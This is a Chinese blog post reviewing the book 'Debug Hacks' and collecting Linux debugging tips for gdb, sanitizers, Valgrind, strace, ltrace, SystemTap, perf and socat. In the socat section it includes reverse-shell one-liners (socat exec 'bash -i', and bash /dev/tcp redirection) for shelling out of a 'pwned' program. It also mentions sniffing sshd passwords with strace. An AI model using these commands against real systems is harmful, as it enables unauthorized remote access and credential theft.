本文共 46040 字,大约阅读时间需要 153 分钟。
作者为吉冈弘隆、大和一洋、大岩尚宏、安部东洋、吉田俊辅,有中文版《Debug Hacks中文版—深入调试的技术和工具》。这本书涉及了很多调试技巧,对调试器使用、内核调试方法、常见错误的原因,还介绍了systemtap
、strace
、ltrace
等一大堆工具,非常值得一读。
话说我听说过的各程序设计课程似乎都没有强调过调试的重要性,把调试当作单独一节课来上(就算有估计也上不好),很多人都只会printf
调试法,breakpoint都很少用,就不提conditional breakpoint、watchpoint、reverse execution之类的了。也看到过很多同学在调试上浪费了很长很长的时间。
下面是篇review,也包含了一些我自己整理的一些调试技巧。
继续牢骚几句,我接触过的人当中感觉最执着与折腾工具的人只有两个,和,他们是少有的能把折腾工具当作正经工作来做的人。
很久以前我还会到处在网上搜索好的实用工具,尤其是那些CLI程序,比如renameutils
、xsel
、recode
、the_silver_searcher
,查阅文档定制自己的配置文件。但这么做花费的时间太多。后来就想我可以搜索一些善于折腾的人的配置文件,关注他们修改了哪些地方,我的配置只要取众家之所长就可以了。
先厚颜自荐一下。下面的用户列表就是我找到的在GitHub上把dotfiles
配置地井井有条的人(如果GitHub支持按照项目的大小排序,列表搜集就能省很多麻烦了):
1 | alejandrogomez bhj craigbarnes dotvim hamaco joedicastro laurentb ok100 pyx roylez sjl trapd00r vodik w0ng |
有了上述的dotfiles
,其他人的dotfiles
大多都不愿看了。但是五岳归来不看山,黄山归来不看岳,ppwwyyxx
的感觉与之前诸位相比更胜一筹。
无关的话到此结束,下面是正文:
把下面几行添加到~/.gdbinit
中吧,gdb
启动时会自动读取里面的命令并执行:
1 2 3 | set history save on set history size 10000 set history filename ~/. history/gdb |
我习惯在~/.history
堆放各个历史文件。有了历史,使用readline
的reverse-search-history (C-r)
就能轻松唤起之前输入过的命令。
1 | set { int} 0x83040 = 4 |
1 | set disassembly-flavor intel |
先说一下function prologue吧,每个函数最前面一般有三四行指令用来保存旧的帧指针(rbp),并腾出一部分栈空间(通常用于储存局部变量、为当前函数调用其他函数腾出空间存放参数,有时候还会存储字面字符串,当有nested function时也会用于保存当前的栈指针)。
在x86-64环境下典型的funcition prologue长成这样:
1 2 3 | push rbp mov rbp, rsp sub rsp, 0x10 |
可能还会有and
指令用于对齐rsp
。如果编译时加上-fomit-frame-pointer
(Visual Studio中文版似乎译作“省略框架指针”),那么生成的指令就会避免使用rbp
,function prologue就会简化成下面一行:
1 | sub rsp, 0x10 |
设置断点时如果使用了b *func
的格式,也就是说在函数名前加上*
,gdb
就会在执行function prologue前停下,而b func
则是在执行function prologue后停下。参考下面的会话:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | % gdb a.out Reading symbols from /tmp/a.out.. .done. (gdb) b *main Breakpoint 1 at 0x4005cc: file a.c, line 4. (gdb) r Starting program: /tmp/a.out warning: Could not load shared library symbols for linux-vdso.so .1. Do you need "set solib-search-path" or "set sysroot"? Breakpoint 1, main () at a.c: 4 4 { (gdb) disas Dump of assembler code for function main: => 0x00000000004005cc <+ 0>: push rbp 0x00000000004005cd <+ 1>: mov rbp, rsp 0x00000000004005d0 <+ 4>: sub rsp, 0x10 0x00000000004005d4 <+ 8>: mov DWORD PTR [ rbp- 0x4], 0x0 0x00000000004005db <+ 15>: mov eax, DWORD PTR [ rbp- 0x4] 0x00000000004005de <+ 18>: mov esi, eax 0x00000000004005e0 <+ 20>: mov edi, 0x4006ec 0x00000000004005e5 <+ 25>: mov eax, 0x0 0x00000000004005ea <+ 30>: call 0x400454 |
gdb
可以为被调试的程序创建一个快照,即保存程序运行时的状态,等待以后恢复。这个是非常方便的一个功能,特别适合需要探测接下来会发生什么但又不想离开当前状态时使用。
ch
是创建快照,d c ID
是删除指定编号的快照,i ch
是查看所有快照,restart ID
是切换到指定编号的快照,详细说明可以在shell里键入info '(gdb) Checkpoint/Restart'
查看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | % gdb ./a. out Reading symbols from /tmp/a. out...done. (gdb) b 6 Breakpoint 1 at 0x4005db: file a.c, line 6. (gdb) r Starting program: /tmp/a. out warning: Could not load shared library symbols for linux-vdso.so .1. Do you need "set solib-search-path" or "set sysroot"? Breakpoint 1, main () at a.c: 6 6 printf( "%d\n", a); (gdb) ch checkpoint: fork returned pid 6420. (gdb) p a= 3 $ 1 = 3 (gdb) i ch 1 process 6420 at 0x4005db, file a.c, line 6 * 0 process 6416 (main process) at 0x4005db, file a.c, line 6 (gdb) restart 1 Switching to process 6420 # 0 main () at a.c: 6 6 printf( "%d\n", a); (gdb) c Continuing. 0 [Inferior 1 ( process 6420) exited with code 02] [Switching to process 6416] (gdb) |
上面的会话中先用ch
创建了一个快照,紧接着a
被修改为了3,随后用restart 1
恢复到编号为1的快照,继续运行程序可以发现a
仍然为原来的值0。
以色列的Haifa Linux club有一次讲座讲gdb
,讲稿值得一看:
Long Le的很不错,感觉比的好用。
使用了compile-time instrumentation(CTI)的工具。编译时加上-fmudflap -lmudflap
选项即可,会在很多不安全代码生成的指令前加上判断合法性的指令。
1 2 3 4 5 6 7 8 9 10 11 12 13 | % echo 'int main() { int z[ 1]; z[ 1] = 2; }' | cc -xc - -fmudflap -lmudflap % ./a.out ******* mudflap violation 1 (check/write): time= 1376473424.792953 ptr= 0x7fff2cde3150 size= 8 pc= 0x7fa2bacf86f1 location=` |
第一行用-xc -
让cc
从标准输入读源代码,并当作C来编译。接来下执行./a.out
,可以看到运行时程序报错了。
使用MUDFLAP_OPTIONS
环境变量可以控制Mudflap的运行期行为,具体参见。
和Mudflap类似的工具,clang
和gcc
可以加上选项-fsanitize=address
使用,比如:
1 | clang -fsanitize=address a.c |
如果想在出错的地方断点停下来,可以用gdb
打开,输入b __asan_report_store1
回车,再输入r
回车运行程序。
-ftrapv
这个选项是调试有符号整型溢出问题的利器。在i386环境下,gcc会把int32_t
运算编译成call __addvsi3
,__addvsi3
函数会在运行时检查32位有符号加法运算是否产生溢出,如果是则调用abort
函数中止程序。减法、乘法和取反运算也有类似的运行时函数检查溢出,另外也有64位版本的__addvdi3
等函数。但不存在对无符号整型的溢出检测函数。比如下面这些代码均会触发trap:
1 2 3 4 | int a = INT_MAX; a++; int b = INT_MIN; b--; int c = INT_MAX; c *= 2; int d = INT_MIN; d = -d; |
这段代码来自gcc
项目目录的libgcc/libgcc2.c
:
1 2 3 4 5 6 7 8 9 10 11 | #ifdef L_subvsi3 Wtype __subvSI3 (Wtype a, Wtype b) { const Wtype w = (UWtype) a - (UWtype) b; if (b >= 0 ? w > a : w < a) abort (); return w; } |
但注意在x86-64环境下-ftrapv
只检查64位溢出。考虑下面这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 | #include |
在x86-64下用gcc
编译运行,输出barrier
后才会执行abort
使程序中止,因为int32_t
的溢出不会触发trap。
clang
也有-ftrapv
,在x86-64环境下对于int32_t
的溢出也能触发trap。
_FORTIFY_SOURCE
gets
、strcpy
这类函数容易造成stack mashing。gcc
编译时如果指定了-D_FORTIFY_SOURCE=1
,生成的汇编程序中这些不安全的函数调用会被替代为libc.so
中名字类似__gets_chk
的一类安全函数,会在运行期检查是否产生了缓冲区溢出。比如,下面的代码会在运行时报错:
1 2 3 4 5 6 7 | #include |
Gentoo Portage从gcc-4.3.3-r1
开始默认开启_FORTIFY_SOURCE
标志了,好多发行版都开启了,测试发现Arch Linux的gcc
似乎没有。shell里执行下面代码就可以看到Gentoo里是怎么定义_FORTIFY_SOURCE
的了:
1 | echo -e '#undef __OPTIMIZE__\nmain() { printf("%d\\n", _FORTIFY_SOURCE); }' | cpp |
也就是当优化等级在-O1
或以上时_FORTIFY_SOURCE
会生效,名字为__$func_chk
模式的函数会被使用。这种做法造成了一些麻烦,比如suricata
git tree里的src/suricata.c
使用了#ifdef _FORTIFY_SOURCE
,会造成编译无法通过。
-fstack-protector
-fstack-protector -fstack-protector-all gcc 4.8.1 -fstack-protector-strong
https://securityblog.redhat.com/2013/10/23/debugging-stack-protector-failures/
开启Stack-Smashing Protector (SSP)。我的理解是在储存的帧指针(rbp)前写入一个magic number,函数返回的时候检查下这个magic number是否被改动,如果是就可能产生stack smashing了。这个方法的footprint最小,但是保护力度也比较弱。
function prologue 80484c0: 65 a1 14 00 00 00 mov eax,gs:0x14 80484c6: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
function epilogue 80484d7: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80484da: 65 33 05 14 00 00 00 xor eax,DWORD PTR gs:0x14 80484e1: 74 05 je 80484e8 80484e3: e8 68 fe ff ff call 8048350 80484e8: c9 leave 80484e9: c3 ret
function prologue:
4005c9: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4005d0: 00 00 4005d2: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
function epilogue
400618: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28 40061f: 00 00 400621: 74 05 je 400628 400623: e8 88 fe ff ff call 4004b0 400628: 48 83 c4 78 add rsp,0x78 40062c: c3 ret
提供了int backtrace (void **buffer, int size)
、char ** backtrace_symbols (void *const *buffer, int size)
在程序运行时查看函数调用栈。参见。
一系列调试和profiling工具的套件,其中的Memcheck是一个使用了dynamic binary instrumentation(DBI)的工具, 在程序指令间插入自己的指令检查validity和addressablity。另外Memcheck替换了标准的malloc
,这样就可以检测出off-by-one error、double free、内存泄漏等许多问题。
Memcheck引入的footprint极小,无需重编译程序,也没有繁琐的配置。比如原来是用./a.out
执行程序,需要Memcheck时就换成valgrind ./a.out
。
在程序访问某一内存地址时Memcheck会检查是否有越界之类的错误,Memcheck能诊断出大量但不是全部的访问错误,比如下面这样有问题的代码就没法检查出来:
1 2 3 4 5 | int main() { int a[ 1]; a[ 1992] = 12; } |
因为a[1992]
的地址在栈上,允许访问。
Valgrind启动时会读取~/.valgrindrc
,对于memcheck
我配置了下面这几行:
1 2 3 4 5 6 7 8 | - -memcheck:leak-check=yes - -memcheck:show-possibly-lost=yes - -memcheck:show-reachable=yes - -memcheck:track-origins=yes - -memcheck:dsymutil=yes - -memcheck:track-fds=yes - -memcheck:track-origins=yes - -memcheck:gen-suppressions=all |
valgrind --vgdb-error=0 --vgdb=yes
很强大,可以在进程遇到错误时让gdb
调试。
记录程序执行的系统调用和收到的信号,和valgrind
类似,使用非常简单:
1 | strace ./a.out |
有一些选项可以attach到现有进程上去(-p)、记录时刻(-t)、统计系统调用使用次数(-c)、过滤特定的系统调用(-e)等。
带上-c
选项可以统计系统调用的使用次数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | % strace - c ls chap04 chap05 chap06 chap07 chap08 chap09 chap10 chap11 chap12 chap13 chap14 chap15 chap16 chap17 % time seconds usecs/call calls errors syscall - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 . 00 0 . 000000 0 5 read 0 . 00 0 . 000000 0 1 write 0 . 00 0 . 000000 0 7 open 0 . 00 0 . 000000 0 10 close 0 . 00 0 . 000000 0 8 fstat 0 . 00 0 . 000000 0 20 mmap 0 . 00 0 . 000000 0 12 mprotect 0 . 00 0 . 000000 0 2 munmap 0 . 00 0 . 000000 0 3 brk 0 . 00 0 . 000000 0 2 rt_sigaction 0 . 00 0 . 000000 0 1 rt_sigprocmask 0 . 00 0 . 000000 0 2 ioctl 0 . 00 0 . 000000 0 1 1 access 0 . 00 0 . 000000 0 1 execve 0 . 00 0 . 000000 0 1 fcntl 0 . 00 0 . 000000 0 2 getdents 0 . 00 0 . 000000 0 1 getrlimit 0 . 00 0 . 000000 0 1 arch_prctl 0 . 00 0 . 000000 0 2 1 futex 0 . 00 0 . 000000 0 1 set_tid_address 0 . 00 0 . 000000 0 1 openat 0 . 00 0 . 000000 0 1 set_robust_list - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 100 . 00 0 . 000000 85 2 total |
-e
选项只跟踪指定系统调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | % strace -e read,open ls open( "/etc/ld.so.cache", O_RDONLY| O_CLOEXEC) = 3 open( "/lib64/librt.so.1", O_RDONLY| O_CLOEXEC) = 3 read( 3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220(\0\0\0\0\0\0"..., 832) = 832 open( "/lib64/libacl.so.1", O_RDONLY| O_CLOEXEC) = 3 read( 3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320#\0\0\0\0\0\0"..., 832) = 832 open( "/lib64/libc.so.6", O_RDONLY| O_CLOEXEC) = 3 read( 3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@M\2\0\0\0\0\0"..., 832) = 832 open( "/lib64/libpthread.so.0", O_RDONLY| O_CLOEXEC) = 3 read( 3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@}\0\0\0\0\0\0"..., 832) = 832 open( "/lib64/libattr.so.1", O_RDONLY| O_CLOEXEC) = 3 read( 3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\25\0\0\0\0\0\0"..., 832) = 832 open( "/usr/lib64/locale/locale-archive", O_RDONLY| O_CLOEXEC) = 3 chap04 chap05 chap06 chap07 chap08 chap09 chap10 chap11 chap12 chap13 chap14 chap15 chap16 chap17 +++ exited with 0 +++ |
使用strace
还可以做一些很可怕的事,比如有root
权限的情况下嗅探sshd
以得到其他尝试SSH登录的用户的密码:。
-p
很有用,比如调试CGI wrapperfcgiwrap
,观察它的输出:
1 | strace -s200 -p$(pidof -s fcgiwrap) -e write |
记录程序调用的动态库中的函数。名字和strace
很像,使用方式和很多命令行选项也如出一辙。
查看echo test
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | % ltrace echo test __libc_start_main( 0x401590, 2, 0x7fff2bb3d4d8, 0x403ef0 |
描述了ltrace
的实现机制。
SystemTap提供了一套底层工具用于trace/probe。用户编写SystemTap script语言的程序,SystemTap将其翻译为C代码,再编译成临时的内核模块。内核模块加载时SystemTap script脚本里的hook就会在特定event发生时执行。当SystemTap脚本停止运行时,相应的hook就被删除,移除临时的内核模块。这一整套流程都是通过一个简单的CLI程序stap
驱动的。
SystemTap使用前的配置过程比较复杂,需要特制的内核,开启CONFIG_KPROBES=y
、CONFIG_DEBUG_INFO=y
等诸多内核编译选项。
比如如下的简单脚本就能显示各进程调用net/socket.c
内函数的情况:
1 2 3 4 5 6 | probe kernel.function( "*@net/socket.c").call { printf ( "%s -> %s\n", thread_indent( 1), ppfunc()) } probe kernel.function( "*@net/socket.c"). return { printf ( "%s <- %s\n", thread_indent(- 1), ppfunc()) } |
1 2 3 4 | perf record -e probe_a:main -e probe_a:main_1 /home/ray/tmp/a perf annotate sudo perf probe -x ~/tmp/a 'main%return %ip %sp' sudo perf record -e probe_a:main -e probe_a:main_1 /home/ray/tmp/a && sudo perf script |
可执行文件不能在tmpfs分区。
1 | A=~/tmp; cc -xc <( echo 'main(){}') -Wl,-rpath, $A -o a && sudo perf probe -d '*' || :; sudo perf probe -x $A/libc.so. 6 malloc && sudo perf record -e probe_libc:malloc -aR ./a && sudo perf report -n |
书里还介绍了很多神奇的玩意儿,比如kaho
,用于读取被编译器优化掉的变量;livepatch
,运行时动态修改变量、替换函数等。这两个工具我在网上检索了下,感觉是个proof of concept的东西,也没有更新了。不够这些思路很奇特,想到了并试图去解决调试时常受困扰的问题,很棒。
CFLAGS
使用-g3
对于重度使用macro的程序很有用,可以在gdb里使用info macro NAME
、macro expand EXPR
等命令了,print
参数里的macro也可以展开。
参见,调试时最痛苦的莫过于难于重现,rr可以把不确定的外部影响固定下来。它的初衷是用来调Firefox的,由此可见它的可用性……幻灯片介绍了很多内部机理,值得一看。
gdb -p
不可用: ptrace: Operation not permitted.gdb无法attach到用户相同的另一个进程上。Arch Linux、Ubuntu等很多发行版的内核默认设置了kernel.yama.ptrace_scope
,参见,即不具有CAP_SYS_PTRACE
capability的进程只能ptrace它的后裔进程(子、孙、玄孙、来孙、晜孙、仍孙、云孙、耳孙等)。不特别在乎安全性的话,可以执行sudo sysctl kernel.yama.ptrace_scope=0
。
设想是fork产生一个新进程并停下来,原进程exec成gdb
并attach调试新进程。注意:新进程应设置以创建新的进程组,不然gdb按数次continue
后自身也会被stop,gdb所在终端将丢失前台进程组。这里我不太清楚gdb被stop的具体原因,但进程组经常作为一个整体和信号、终端等概念相互关联,可能是这方面的原因。
这里SIGINT
可以考虑换成SIGFPE
、SIGSEGV
等,以防止进程死亡,用gdb交互式检视各个变量的值等以便于差错。
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | #include |
对于ncurses这类使用终端特性的程序,在gdb下调试时,gdb交互的终端也会被程序使用,程序可能执行屏幕擦除、移动光标等操作,和gdb交互的输出混杂在一起,产生干扰。解决方案是使用gdb的tty
命令(文档见info '(gdb) Input/Output'
)。下面以rlwrap rev
为例说明调试方法。
使用coreutils中的tty
命令(并非gdb的tty
命令)获得当前终端的名称,如/dev/pts/13
,然后创建新shell会话,假设终端名是/dev/pts/14
,将用作被调试程序的标准输入、输出、出错。在这个新终端里执行sleep 9999
(如果不执行这条命令的话,/dev/pts/14
的前台进程组是shell,会抢夺终端输入,而sleep
不会读取终端输入,因此不会和被调试程序竞争)。
然后回到原来的shell会话(/dev/pts/13
),用gdb调试程序:
1 2 3 | % gdb -tty /dev/ pts/ 14 -- args rlwrap rev Reading symbols from rlwrap...( no debugging symbols found)...done. (gdb) r |
之后即可在/dev/pts/14
和被调试程序交互了。或者用命令tty /dev/pts/14
替代命令行选项-tty
。
注意,此时被调试程序的标准输入、输出、出错均为/dev/pts/14
,但没有控制终端(controlling terminal),并且能在/dev/pts/14
看到gdb的警报:warning: GDB: Failed to set controlling terminal: Operation not permitted
。用strace
调试gdb
可以看到ioctl(3, TIOCSCTTY, 0) = -1 EPERM (Operation not permitted)
,即gdb
尝试把/dev/pts/14
设为被调试进程的控制进程,但失败了。原因是/dev/pts/14
上还有shell和sleep 9999
以它为控制终端,无法抢夺。不过多数情况用不着控制终端提供的一些功能。
参见。
把不同输入输出端对接的瑞士军刀,是nc
的进化型,支持非常多的网络协议、文件等IO方式。
下面演示如何把一个程序的输入和输出分别接到监听的某个socket的输出和输入上。
创建black.sh
:
1 2 | #!/bin/zsh { echo depth 0; cat; echo exit;} | gnuchess -e | stdbuf -o0 grep -aPo '(?<=My move is : )\S+' |
用socat
启动TCP服务端:socat tcp-l:4444,reuseaddr exec:./black.sh
。
创建white.sh
:
1 2 | #!/bin/zsh { echo depth 0; echo go; cat; echo exit;} | gnuchess -e | tee /tmp/output | stdbuf -o0 grep -aPo '(?<=My move is : )\S+' |
用socat
启动TCP客户端:socat tcp:0:4444,reuseaddr exec:./white.sh
。之后即可在/tmp/output
看到两个gnuchess
进程的对局。执行gnuchess
,输入depth 0
后可以限制它的搜索深度(加快运行速度),输入go
可以让它走一步。
写到此处,忽然想到之前NOI 2010团体对抗赛时,不了解这些东西的用法,浪费了很大工夫。
通常用system("sh")
等方式搞的shell都不是interactive shell,没有提示符,也无法用readline的快捷键,不方便。下面介绍产生interactive shell的方法:
本地监听9999端口,等远端被pwn的程序连接:
1 2 | socat stdio,raw, echo= 0 tcp -l: 9999 # 或者使用stty -echo raw; nc -l 9999; stty echo -raw |
远端执行:
1 | socat tcp: 0: 9999 exec: 'bash -i',pty,stderr # 0应填之前监听9999端口的机器的IP |
当然远端很可能没有socat
,可以用util-linux包中的script
:
1 | script -qc 'bash -i' /dev/null &>/dev/tcp/ 0/ 9999 <& 1 # 使用了bash创建socket的功能 |
打印指定进程的系统栈。
本质是一段脚本,核心是下面这句话:
1 2 | #!/bin/zsh gdb -q -nx -p $1 <<< 't a a bt' 2>&- | sed -ne '/^#/p' |
你应该把它保存到你的工具集里。新的gdb支持对单线程进程使用thread apply all bt
了。
1 2 3 4 5 6 7 8 9 10 11 12 | % pstack $$ #0 0x00007fc00a3a6866 in sigsuspend () from /usr/lib/libc.so. 6 #1 0x0000000000471906 in signal_suspend () #2 0x0000000000442d56 in ?? () #3 0x0000000000443437 in waitjobs () #4 0x0000000000429b4b in ?? () #5 0x000000000042a6e1 in execlist () #6 0x000000000042a970 in execode () #7 0x000000000043c1dc in loop () #8 0x000000000043f30e in zsh_main () #9 0x00007fc00a393800 in __libc_start_main () from /usr/lib/libc.so. 6 #10 0x000000000041013e in _start () |
gdb和gcc有一定的版本适配性,有些恶劣的工作环境需要自己编译安装gdb,下面只是我折腾C++ STL查看器的注记。
1 | ./configure --prefix=~/.local/stow/gdb --with-gdb-datadir=/usr/share/gcc- 4.9/python |
~/.gdbinit
里添加:
1 2 3 4 5 6 | python import sys sys.path.append( '/usr/share/gcc-4.9/python') from libstdcxx.v6.printers import register_libstdcxx_printers register_libstdcxx_printers( None) end |
用sshfs或其他文件共享手段从其他机器上挂载源码目录,使用directory
命令设置源码查找目录。另外还有set substitute-path
,参见info '(gdb) Source Path'
。
MongoDB使用mmap映射数据文件及分配内存,把内存管理的任务交给操作系统,造成内存使用量无法控制。我误以为resource limits中的RLIMIT_AS
可以限制虚拟内存使用, 就在启动mongod
前执行ulimit -v $[512*1024]
,效果是之后所有在shell里启动的新进程的虚拟内存都不能超过512MiB。
在测试写入性能时,发现过了很长时间也没有把所有测试数据插入成功。后查看日志发现这些记录:
1 2 | 2015- 03- 13T20: 20: 18.558+ 0800 [conn1] ERROR: mmap private failed with out of memory. ( 64 bit build) 2015- 03- 13T20: 20: 18.558+ 0800 [conn1] Assertion: 13636: file /tmp/db/test .2 open/ create failed in createPrivateMap (look in log for more information) |
大概每5秒钟会产生一段错误记录,估计和mmap
有关。使用strace
查看mongod
及其所有子进程(包括当前和未来创建的)的mmap
系统调用:strace -fe mmap -p $(pgrep -n mongod)
,产生大量重复的输出:
1 2 | [pid 31551] mmap( NULL, 67108864, PROT_READ|PROT_WRITE, MAP_SHARED, 17, 0) = 0x7f2e58716000 [pid 31551] mmap( NULL, 67108864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE, 17, 0) = - 1 ENOMEM (Cannot allocate memory) |
即以两个mmap
为单元,不断输出这两行,注意到mmap(2)
参数中的文件描述符fd
,再列示已有的文件描述符ls -l /proc/$(pgrep -n mongod)/fd/
。猜测这两个mmap
都和数据文件(test.0
、test.1
等)有关。后来再用pmap -p $(pgrep -n mongod)
列示已映射的地址空间,发现与0x7f2e58716000
(第一次执行的mmap
的返回值)地址相近的都是些数据文件,印证了猜测。后来看/proc
下该进程的相关信息,发现/proc/$(pgrep -n mongod)/limits
列示的Max address space不正常,终于想到是先前ulimit -v
限制了地址空间大小,导致了这个问题。之后有两个解决办法,一是关闭mongod
,修改resource limits后重启,二是动态修改resource limits。为了好玩,自然选第二个。先要找出RLIMIT_AS
的数值:ag RLIMIT_AS /usr/include/bits
,发现是9,之后用gdb
attach到mongod
上修改resource limits:
1 2 3 4 5 6 7 | $ gdb -p $(pgrep -n mongod) (gdb) set $r = &{ 0ll, 0ll} (gdb) p getrlimit( 9, $r) $1 = 0 (gdb) set (* $r)[ 0]=- 1 # struct rlimit { rlim_t rlim_cur; rlim_t rlim_max; } 要修改的项是rlim_cur (gdb) p setrlimit( 9, $r) $1 = 0 |
成功修改了resource limits!之后日志中果然出现了数据文件新建成功的信息,不再有mmap
的错误了。
转载地址:http://gandi.baihongyu.com/